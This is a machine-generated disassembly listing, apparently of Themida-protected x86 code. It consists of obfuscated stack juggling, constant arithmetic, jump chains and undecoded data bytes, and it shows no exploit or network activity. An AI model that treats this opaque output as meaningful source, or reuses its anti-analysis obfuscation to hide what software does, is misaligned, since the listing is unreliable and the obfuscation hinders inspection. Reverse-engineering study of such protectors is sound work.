loc_55E648:				; CODE XREF: Themida_:0055A0C6j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 74943856h
		sub	ebx, 74943852h
		push	ebx
		pop	edi
		jmp	loc_558F35
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 5
		dd 0BF67EE35h, 0C9E95015h, 0BE0000CCh, 5A54744h, 0FAA9EE81h
		dd 0F0019BC9h, 8124348Bh, 4C4h,	6E0C100h, 586E0F35h, 48150DCh
		dd 0DA2DB624h, 242C8B55h, 0E904C483h, 9270h
; ---------------------------------------------------------------------------

loc_55E6BC:				; CODE XREF: Themida_:00569825j
		neg	edi
		jmp	loc_558EA1
; ---------------------------------------------------------------------------

loc_55E6C3:				; CODE XREF: Themida_:0056A1E6j
		add	eax, ebp
		add	eax, 319A79F8h
		jmp	loc_56AF3E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0F26A984Bh, 558C201h, 104E0EE1h, 0B7292705h,	0E9D0014Bh
		dd 57F3h, 5FFB8959h, 1C8BDD01h,	4C48324h, 9A20E956h, 0EC830000h
		dd 243C8904h, 4EC81h, 8F540000h, 4812404h, 424h, 68555F00h
		dd 6D4A491Ah, 53DDF75Dh, 7905E9h, 24248B00h, 9C2404D2h
		dd 0FFA15FE9h, 0CC505FFh, 8405207Dh, 10C274Bh, 4B842DE8h
		dd 0EC830C27h, 242C8904h, 0A955E9h, 6B5BBD00h, 0EDC16FDBh
		dd 0CC13E904h, 80BD0000h, 0E911F15Fh, 1C06h, 0F705E5C1h
		dd 0A4C581DDh, 0E9397844h, 0FFFFB1C0h
; ---------------------------------------------------------------------------

loc_55E770:				; CODE XREF: Themida_:0055E5B6j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		push	2965h
		mov	[esp], ecx
		jmp	loc_56859F
; ---------------------------------------------------------------------------
		dd 9AE9D301h, 66FFFFCAh, 0C0C7FE58h, 0C78005EFh, 0F5C7808Ch
		dd 0E95BFD00h, 11B4h, 5840E951h, 83510000h, 3C8904ECh
		dd 0FE95924h, 0C1FFFFD6h, 0BB5304E2h, 78FF3B48h, 44E9DA31h
		dd 5E00008Ah, 4C3FB850h, 0C2290233h, 61EB8158h,	1703375h
		dd 61C381D3h, 5A703375h, 6104C381h, 0C3011BBEh,	6104EB81h
		dd 0E9561BBEh, 0CB25h, 2B66E981h, 0E9812696h, 27FE1714h
		dd 0C181D101h, 27FE1714h, 0FFC61DE9h, 0E9CE01FFh, 0FFFFE30Dh
; ---------------------------------------------------------------------------

loc_55E81C:				; CODE XREF: Themida_:005641B7j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		neg	edi
		xor	edi, 991EFEFFh
		and	eax, edi
		pop	edi
		dec	eax
		push	ebp
		mov	ebp, 5A171E55h
		jmp	loc_561FCD
; ---------------------------------------------------------------------------
		dw 0BE66h
		dd 56661169h, 2414F766h, 0C1665E66h, 91E908E6h,	0FFFFFFB9h
		dd 589D1C77h, 9C240419h, 0FFA02FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E85D:				; CODE XREF: Themida_:00565F98j
		mov	esi, 5AEE70FFh
		shl	esi, 3
		add	esi, 3F5B4A0Eh
		push	edi
		mov	edi, 20015DFCh
		jmp	loc_5647CF
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0C0830000h, 3320E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E886:				; CODE XREF: Themida_:0055E58Dj
		sub	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5661D8
; ---------------------------------------------------------------------------

loc_55E890:				; CODE XREF: Themida_:0056D68Cj
		mov	[esp], ebp
		push	7A6Dh
		mov	[esp], esi
		mov	esi, 45650B44h
		mov	ebp, esi
		jmp	loc_5593A2
; ---------------------------------------------------------------------------
		db 58h
		dd 6ABA5257h, 0BF7D9237h, 0F7407251h, 148BD729h, 4C48324h
		dd 0B850DFF7h, 53A03CDCh, 17B95148h, 0E929AE51h, 0C482h
		dd 0C5B3E956h, 1C8BFFFFh, 4C48124h, 30000000h, 14322414h
		dd 0B581E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E8EA:				; CODE XREF: Themida_:0056DC60j
		sub	ebx, 262F4EE2h
		sub	ebp, ebx
		pop	ebx
		add	ebp, 57EE6916h
		add	ebp, 250E11E7h
		add	ebp, 0BB7E82FBh
		jmp	loc_56C6C2
; ---------------------------------------------------------------------------
aSvs		db ']éVs',0
		align 10h
aBCBbRPs	db 'ÂÌc}b´RÌ(Pé+}',0
		db 2 dup(0), 0E8h
		dd 0FFD5F0E9h, 4EC83FFh, 0E9240C89h, 376Dh, 8059CA88h
		dd 0D328ACF2h, 254AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E942:				; CODE XREF: Themida_:00560404j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56175F
; ---------------------------------------------------------------------------

loc_55E950:				; CODE XREF: Themida_:0056DC87j
		mov	edi, 0C559ACFCh
		mov	eax, edi
		pop	edi
		sub	ebp, 448365E0h
		jmp	loc_5644FE
; ---------------------------------------------------------------------------
		db 68h
		dd 6F8Bh, 0B2241489h, 0BD23E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E972:				; CODE XREF: Themida_:00561583j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		jmp	loc_563E38
; ---------------------------------------------------------------------------
		dd 0EFC1EFD1h, 0EFD14F02h, 9552E9h, 24148B00h, 0E904C483h
		dd 0FFFFC320h
; ---------------------------------------------------------------------------

loc_55E9A4:				; CODE XREF: Themida_:0055D99Cj
		push	esp
		jmp	loc_568B79
; ---------------------------------------------------------------------------

loc_55E9AA:				; CODE XREF: Themida_:00563206j
		neg	edi
		shr	edi, 6
		or	edi, 49700462h
		push	ebp
		mov	ebp, 34B02B60h
		not	ebp
		sub	ebp, 8ECAA31Ah
		sub	edi, 38C92FCAh
		sub	edi, ebp
		jmp	loc_563220
; ---------------------------------------------------------------------------

loc_55E9D0:				; CODE XREF: Themida_:00568303j
		push	esi
		mov	esi, 0B307A77Fh
		xor	ebp, esi
		pop	esi
		jmp	loc_560D33
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 0E95C2404h, 0DEE9h, 81E28952h, 4C2h,	4C28300h, 5C241487h
		dd 251E68h, 243C8900h, 8904EC83h, 79E92424h, 83FFFFD9h
		dd 0D6E904C3h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EA13:				; CODE XREF: Themida_:00564AFCj
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		push	esp
		jmp	loc_5603B4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 59E99C24h, 66FFFF9Eh, 9C241CF7h
		dd 0FF9E4FE9h, 4EC83FFh, 9242E9h, 0E0895000h, 405h, 4C08300h
		dd 5C240487h, 0FFDA42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EA59:				; CODE XREF: Themida_:0055F6C4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D909
; ---------------------------------------------------------------------------
aAA		db '€Ã·€ÃÑ',0
		db 0D9h
		dd 0FFE9805Bh, 1013E9h,	241C8B00h, 0FFE782E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EA7D:				; CODE XREF: Themida_:0056BF35j
		add	esp, 4
		push	cx
		mov	ch, 0D5h
		add	bl, ch
		pop	cx
		jmp	loc_56DCEB
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 53241489h, 5B71B951h, 0E9814CDCh, 7C1E25ECh,	81E9D141h
		dd 7826D5E9h, 0AAF18120h, 530D241Bh, 66E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EAB5:				; CODE XREF: Themida_:00562615j
		add	esp, 4
		jmp	loc_560DF9
; ---------------------------------------------------------------------------
		dd 33243C31h, 895C243Ch, 0EC83242Ch, 48F5404h, 24048124h
		dd 4, 0FF2434FFh, 685D2434h, 7BA5h, 89243489h, 4C681E6h
		dd 81000000h, 4C6h, 59B8E900h, 0E7880000h, 0FA865866h
		dd 88D38853h, 3E07E9E2h, 0E95A0000h, 47ECh
; ---------------------------------------------------------------------------

loc_55EB10:				; CODE XREF: Themida_:00561727j
		add	edi, 3D315F09h
		jmp	loc_55C08C
; ---------------------------------------------------------------------------
a3Sp		db '3,$épÎ',0
		db 0
; ---------------------------------------------------------------------------

loc_55EB23:				; CODE XREF: Themida_:005672B5j
		push	small 39D2h
		mov	[esp], cx
		jmp	loc_56A5FC
; ---------------------------------------------------------------------------
aSA		db ']éÂí',0
		align 2
		dw 3B66h
		dd 4DE99CC8h, 5EFFFF9Dh, 410A0566h, 2BC6E9h, 0B8505100h
		dd 34D741A8h, 0D04E8C1h, 200B3816h, 9335E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EB5D:				; CODE XREF: Themida_:0056ACB7j
		shl	ecx, 2
		sub	ecx, 5232DB56h
		sub	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 1A201258h
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		shl	ebp, 1
		sub	ebp, 8494CF1Ah
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, ebx
		jmp	loc_569123
; ---------------------------------------------------------------------------
		db 81h
		dd 6C5CABEBh, 8313E929h, 895A0000h, 2434FFFEh, 0ECE0E95Fh
		dd 4BD0000h, 1000000h, 4AE95DEBh, 0FE0000EFh, 0D400E9C6h
		dd 0ED80FFFFh, 0CB6528Bh, 45AF088h, 926AE928h, 0E95C0000h
		dd 0CD64h
; ---------------------------------------------------------------------------

loc_55EBD0:				; CODE XREF: Themida_:00568D12j
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 38BC5195h
		and	esi, 45977AC2h
		xor	esi, 7C9071D8h
		jmp	loc_55DDA0
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0EC81D831h, 4, 50243C89h, 134BE9h, 0BF575800h, 70CD6325h
		dd 0BA52D7F7h, 0FBD3C7Fh, 815AD721h, 301C56EFh,	5FF8010Fh
		dd 4EC8357h, 0FFD2B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EC25:				; CODE XREF: Themida_:0055E3CBj
		sub	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_56BFCB
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0B75E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EC46:				; CODE XREF: Themida_:0055D761j
		mov	[esp], eax
		mov	eax, 646A0708h
		shl	eax, 6
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		or	eax, 30147F82h
		neg	eax
		jmp	loc_5679E7
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 0FFFFECA7h, 0FF2434FFh, 0C2E92434h, 5D000019h, 0FFAB77E9h
		dd 0BA5258FFh, 4, 2D5AD001h, 4,	1ABEE9h
		db 0
; ---------------------------------------------------------------------------

loc_55EC8D:				; CODE XREF: Themida_:005689F3j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_568FB3
; ---------------------------------------------------------------------------

loc_55ECA4:				; CODE XREF: Themida_:0056DEF3j
		not	eax
		xchg	eax, ecx
		jmp	loc_560B56
; ---------------------------------------------------------------------------
		dd 242C895Ch, 5D568h, 48F5400h,	0FF7CE924h, 0EE80FFFFh
		dd 5AF70001h, 0FE5BF820h, 28C034C8h, 0F7E958C7h, 89000026h
		dd 41E9242Ch, 1000055h,	0EC8359CDh, 24348904h, 468h, 2434FF00h
		dd 4C4815Eh, 1000000h, 0FF555EF5h, 5D042474h, 8B24048Fh
		dd 0F1F72424h, 0D1C68h,	24148900h, 9E99C50h, 89FFFFF5h
		dd 27BF243Ch, 116B02Eh,	8B665FFBh, 54522414h, 68BF575Ah
		dd 812A0302h, 1533AEF7h, 0E0CF8142h, 0C10C7777h, 0EF8104EFh
		dd 6C7777Ah, 32E9EA81h,	0FA01585Eh, 0FFE9D7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ED4D:				; CODE XREF: Themida_:0056C212j
		push	edx
		mov	edx, 57E603F3h
		mov	edi, 59E70BF4h
		sub	edi, edx
		pop	edx
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_55D449
; ---------------------------------------------------------------------------

loc_55ED6D:				; CODE XREF: Themida_:0056D42Fj
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 24D42911h
		mov	eax, ebx
		jmp	loc_563740
; ---------------------------------------------------------------------------

loc_55ED88:				; CODE XREF: Themida_:00566575j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55E5BB
; ---------------------------------------------------------------------------
		db 66h,	57h, 66h
		dd 31243481h, 665A662Dh, 2D31F281h, 4A665F66h, 0FFCAA0E9h
		dd 0D6BE56FFh, 0C1785B22h, 0D6F707EEh, 0E825E94Eh, 0B850FFFFh
		dd 3E8A094Ch, 22040DB9h, 8BC101D3h, 0C4812404h,	4, 0FF59C801h
		dd 815F2434h, 4C4h, 99B95100h, 81478A20h, 391112E1h, 0DEE98126h
		dd 0C11D9273h, 0E98105E9h, 3450178Ch, 6BFAE9h, 24148700h
		dd 24048F5Ch, 0E924248Bh, 0FFFF9A7Ch, 0D9D5E955h, 8F58FFFFh
		dd 248B2404h, 9A6AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EE22:				; CODE XREF: Themida_:005619B4j
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		push	edx
		mov	edx, 0
		push	ecx
		mov	ecx, 42072F65h
		jmp	loc_558BAB
; ---------------------------------------------------------------------------
		db 0B8h
		dd 430A5EDFh, 0C108E8C1h, 0B62502E0h, 3543540Bh, 56B75ABDh
		dd 48BC631h, 4C48124h, 0F7000000h, 92E681DEh, 5375F649h
		dd 744016BBh, 8BDE3110h, 0C481241Ch, 4,	348BF701h, 4C48324h
		dd 4C781h, 3C330000h, 243C3124h, 2167E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EE8D:				; CODE XREF: Themida_:005643F0j
		push	55820550h
		pop	edx
		jmp	loc_56BFED
; ---------------------------------------------------------------------------

loc_55EE98:				; CODE XREF: Themida_:0056CF5Cj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		push	esi
		mov	esi, 199D290Eh
		add	ebp, esi
		jmp	loc_55B243
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 746E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EEC1:				; CODE XREF: Themida_:0056D01Fj
		mov	[esp], edx
		jmp	loc_564D39
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 12h
		dd 8B10FC45h, 0F3E92404h, 5AFFFFF1h, 3EE9C201h,	3100008Ch
		dd 243C8BFAh, 0E904C483h, 1C1Fh, 51E9EA81h, 0B850510Bh
		dd 39730D58h, 48BC201h,	4C48324h, 230CEA81h, 7BE95258h
		dd 2D0000D3h, 78C77791h, 0A7055Dh, 0E0C13258h, 72BB5303h
		dd 810E455Bh, 269AB8C3h, 5BD8292Dh, 8158C589h, 0F804CEC5h
		dd 0C1E94D27h, 80000058h, 0FF01246Ch, 83241C8Bh, 0D7F604C4h
		dd 18B05066h, 0C796E9h
		db 0
; ---------------------------------------------------------------------------

loc_55EF4D:				; CODE XREF: Themida_:0055B37Cj
		pop	edx
		push	eax
		jmp	loc_567045
; ---------------------------------------------------------------------------
		dd 5FFF68h, 240C8900h, 0F6313F68h, 0CD215905h, 3E5C159h
		dd 4EC81h, 4890000h, 898EB824h,	0C5290E00h, 8124048Bh
		dd 4C4h, 1EC78100h, 16FFE10h, 1EEF81EFh, 8B6FFE10h, 8956242Ch
		dd 0CDD3E9E6h, 3487FFFFh, 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_565E20
; ---------------------------------------------------------------------------
aIsa		db '°Iéa¿',0
		db 0
; ---------------------------------------------------------------------------

loc_55EFAF:				; CODE XREF: Themida_:00565BDEj
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_558A2C
; ---------------------------------------------------------------------------

loc_55EFB7:				; CODE XREF: Themida_:0055B092j
		push	ebx
		jmp	loc_5690AA
; ---------------------------------------------------------------------------
		db 0BFh, 0CCh, 5
		dd 0E781629Fh, 1D473113h, 0FC3FC781h, 33E9501Ch
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EFD3:				; CODE XREF: Themida_:0056BDC5j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 1913517h
		neg	esi
		sub	esi, 53204AE5h
		shr	esi, 4
		add	esi, 4D04537Ch
		and	esi, 75C62B48h
		add	esi, 0AA7FD4BCh
		sub	edx, 5C083A42h
		add	edx, esi
		add	edx, 5C083A42h
		pop	esi
		jmp	loc_55B1DC
; ---------------------------------------------------------------------------
		dd 0C380DBF6h, 0EEE9E959h, 0C181FFFFh, 1E58A49Eh, 0B8E9CA01h
		dd 800000DFh, 0E328C0ECh, 0FFC38058h, 0AAE95366h, 100003Bh
		dd 0B9515DE8h, 73081EC8h, 41EBA52h, 0D1014DDCh,	685Ah
		dd 0C290000h, 240C8B24h, 4904C483h, 0E981D1F7h,	5D9DFBA0h
		dd 0FE196D2Dh, 3BF2E967h, 34FF0000h, 24048B24h,	4C481h
		dd 0EC830000h, 243C8904h, 0E568E789h, 0E900000Dh, 12A5h
		dd 0E9028864h, 0FFFF97F0h, 8B2434FFh, 0C4832404h, 0EC815304h
		dd 4, 0F5DE9h, 8C685300h, 5B443E15h, 0FFA0C8E9h, 4C483FFh
		dd 0E924148Bh, 0FFFFA1E7h, 0DAA18B68h, 0EB815BF1h, 2A7B3E10h
		dd 0C381FB29h, 2A7B3E10h, 5BDD315Fh, 69EEB81h, 0EB292A4Bh
		dd 69EC381h, 2C8B2A4Bh,	4C48324h, 3B89E955h, 0E2C10000h
		dd 0E6F28107h, 0F7392E51h, 0F2814ADAh, 1D453FC7h, 0C2AF281h
		dd 0B1E94B20h, 0B8FFFFD0h, 5831F4Fh, 0F24CE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F122:				; CODE XREF: Themida_:005659F6j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_559F51
; ---------------------------------------------------------------------------

loc_55F131:				; CODE XREF: Themida_:0055A58Dj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_55F13E:				; CODE XREF: Themida_:0055D1B9j
		push	188Ch
		jmp	loc_56CE1A
; ---------------------------------------------------------------------------

loc_55F148:				; CODE XREF: Themida_:00569D25j
		shl	esi, 4
		sub	esi, 1
		sub	esi, 22FE3671h
		add	ecx, esi
		jmp	loc_566188
; ---------------------------------------------------------------------------
		dw 0E780h
		dd 0A649E90Eh, 0E9590000h, 858Dh, 628EBAB8h, 5FF801B0h
		dd 8D67E9h, 0C1F6800h, 1C890000h, 710DBB24h, 0F3811EEEh
		dd 1EEE7109h, 15BDE89h,	24348BF7h, 4C481h, 0E9520000h
		dd 0C5F0h
; ---------------------------------------------------------------------------

loc_55F1A0:				; CODE XREF: Themida_:00562F79j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5620DC
; ---------------------------------------------------------------------------
		db 81h
		dd 760014C7h, 6E7C146h,	5001EF83h, 2B05B8h, 0E4E9E91Eh
		dd 0DDF7FFFFh, 4D45E5D1h, 47B5F581h, 0E94DA056h, 0A746h
		dd 8083C681h, 0F789E000h, 0EAB2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F1E1:				; CODE XREF: Themida_:0056540Dj
		push	5DE9h
		mov	[esp], edx
		push	36F41258h
		pop	edx
		sub	ebp, 7E841201h
		sub	ebp, edx
		add	ebp, 7E841201h
		jmp	loc_56C327
; ---------------------------------------------------------------------------
		dw 4D4Dh
		dd 2313E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F209:				; CODE XREF: Themida_:0055B4ADj
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFD2FAE9h, 4C183FFh, 5C240C87h, 1BD5552h, 0E9000000h
		dd 4054h, 2EADC381h, 0F301081Dh, 2961BF57h, 96E95A9Ah
		dd 1FFFFA2h, 0FF505AD0h, 58042474h, 8B24048Fh, 0F9F62424h
		dd 0CCB60F66h, 44076866h, 240C8966h, 8EADE9h, 0CDF48000h
		dd 0C008E4C0h, 0CC8006ECh, 0F0F48062h, 80EAF480h, 0F8E906EBh
		dd 81FFFFA4h, 774725C6h, 0F189513Eh, 8B59CA89h,	0C4832434h
		dd 49122D04h, 80055F7Bh, 1231970h, 8EE8E9D0h, 3C890000h
		dd 65D6BF24h, 814F71CAh, 874607EFh, 6EC7817Bh, 8925B01Bh
		dd 0D5E0E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F2BA:				; CODE XREF: Themida_:0056C3B0j
		mov	edx, [esp]
		add	esp, 4
		or	ebx, 588900E6h
		add	ebx, 257CE53h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, ecx
		jmp	loc_55C23C
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 15h
		dd 0ADFFFFD7h, 0BA52D831h, 10BA053Eh, 0FFFFC281h, 5553FFFFh
		dd 44E21BDh, 8BF58173h,	0E92B1946h, 5447h, 66D830ACh, 667D1B68h
		dd 0B7241C89h, 66F83090h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55B697
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0D910E950h, 0E954FFFFh, 91E5h, 0E924248Bh, 0FFFFD373h
		dd 4EAC15Eh, 0A6E9524Ah, 510000ADh, 0CC88D188h,	0E2CFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F365:				; CODE XREF: Themida_:00558DAFj
		mov	eax, 325C7723h
		mov	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 5792154Ch
		dec	ebx
		dec	ebx
		xor	ebx, 6F3F1196h
		sub	ebx, 0E96EDC8Dh
		sub	ecx, 76087E7Bh
		sub	ecx, ebx
		add	ecx, 76087E7Bh
		pop	ebx
		push	ebp
		mov	ebp, 773F455Ah
		xor	ebp, 18A82C72h
		add	ecx, 55EB1A4Fh
		add	ecx, ebp
		sub	ecx, 55EB1A4Fh
		pop	ebp
		shl	ecx, 1
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56A0B9
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 2Dh
		dd 1A175F1Eh, 2EB2E956h, 0F0290000h, 0C075E9h, 4C48300h
		dd 8704C683h, 248B2434h, 24343324h, 0E9243431h,	0FFFFA397h
		dd 285AD000h, 0EC8353D8h, 0DE5FE904h, 0F75E0000h, 61EF81D7h
		dd 0E9761176h, 0FFFFD316h
; ---------------------------------------------------------------------------

loc_55F408:				; CODE XREF: Themida_:005652CFj
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		push	5220h
		mov	[esp], esi
		mov	esi, 67A13B1Dh
		shl	esi, 5
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 514F1F4Ah
		sub	esi, eax
		pop	eax
		and	esi, 2EB02EDEh
		push	ebx
		mov	ebx, 7B5455E8h
		shl	ebx, 6
		shr	ebx, 4
		xor	ebx, 31F35EECh
		not	ebx
		xor	ebx, 829683E4h
		add	esi, ebx
		jmp	loc_56B192
; ---------------------------------------------------------------------------
		dw 88BAh
		dd 4A140D61h, 0FFDE0AE9h, 81DBF7FFh, 0C447E5EBh, 7E3C17Ch
		dd 85F38143h, 0E964A2D4h, 2F86h
; ---------------------------------------------------------------------------

loc_55F478:				; CODE XREF: Themida_:005603C7j
		xor	esi, 21E61D48h
		xor	ecx, esi
		pop	esi
		xor	ecx, 185F076Ah
		xor	ecx, 0BDF38918h
		sub	eax, ecx
		jmp	loc_56C3C0
; ---------------------------------------------------------------------------
		dd 8095F380h, 31E910EBh, 5100008Eh, 2B9h, 59CA0100h, 4EC81h
		dd 14890000h, 2474FF24h, 123BE904h, 48B0000h, 4C48324h
		dd 83294B05h, 0B22AE917h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F4CA:				; CODE XREF: Themida_:00568344j
		add	esi, 7C3E50C4h
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56A8AD
; ---------------------------------------------------------------------------
		db 1
		dd 25C181C1h, 8B234A35h, 22E92404h, 8B000043h, 73E92404h
		dd 45000074h, 5933E9h, 4077FF00h, 0FF9387E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F505:				; CODE XREF: Themida_:005615A4j
		add	edx, 0F396BB04h
		add	esi, edx
		pop	edx
		jmp	loc_5621B2
; ---------------------------------------------------------------------------
		db 52h
		dd 0D588DA88h, 0FFEA885Ah
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56DCC9
; ---------------------------------------------------------------------------
		dw 0F5Ah
		dd 34FFC0B6h, 24048B87h, 0CF868h, 241C8900h, 1E685B54h
		dd 8900000Eh, 0BA52240Ch, 3FEC4EA4h, 72E9D189h,	83FFFFE5h
		dd 0C48304C4h, 24048F04h, 2404FE5Ch, 931AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F572:				; CODE XREF: Themida_:0056A73Ej
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	4
		pop	esi
		add	edi, esi
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ecx
		push	esi
		jmp	loc_56D836
; ---------------------------------------------------------------------------
		dd 0B1F68159h, 1776F7Fh, 69E95EF7h, 8B000024h, 0C4812434h
		dd 4, 3C6768h, 24048900h, 51D78853h, 0E9FC8850h, 0FFFFF01Dh
		dd 0C680A9B6h, 5AF50096h, 9942E9h, 509FBA00h, 0D8E95867h
		dd 0C1FFFFF1h, 0D9F702E9h, 0A5685350h, 5B243D47h, 4456E94Bh
		dd 14890000h, 4BA24h, 0CEE90000h, 580000C9h, 575A5452h
		dd 4BFh, 5FFA0100h, 5204C283h, 42474FFh, 24048F5Ah, 6824248Bh
		dd 27FBh, 89243489h, 4BB53E6h, 68000000h, 7028h, 0B8240489h
		dd 6D490732h, 4605E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F645:				; CODE XREF: Themida_:00568055j
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_560508
; ---------------------------------------------------------------------------

loc_55F652:				; CODE XREF: Themida_:0056076Fj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5672AF
; ---------------------------------------------------------------------------

loc_55F663:				; CODE XREF: Themida_:0056965Fj
		add	edx, 4
		push	ecx
		mov	ecx, 381355DBh
		sub	ecx, 28A159CAh
		sub	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_56CA0D
; ---------------------------------------------------------------------------

loc_55F67F:				; CODE XREF: Themida_:0055FD55j
		push	dword ptr [eax]
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 6A984191h, 0DC8EF81h, 0A3E907F3h, 5F00001Fh,	0F9C78147h
		dd 313FE433h, 243C8BF9h, 4C481h, 0CB010000h, 579BE959h
		dd 0EB810000h, 3BF40DCCh, 6551E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F6BD:				; CODE XREF: Themida_:00559C0Ej
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55EA59
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 8Bh
		dd 89532434h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 0B30BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F6E6:				; CODE XREF: Themida_:00568B12j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56D3FF
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 0F6h
		dd 0FFF680DEh, 0E95AF388h, 0FFFFFD94h, 0DA86E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F706:				; CODE XREF: Themida_:00566CF3j
		push	1D18h
		jmp	loc_5643EC
; ---------------------------------------------------------------------------

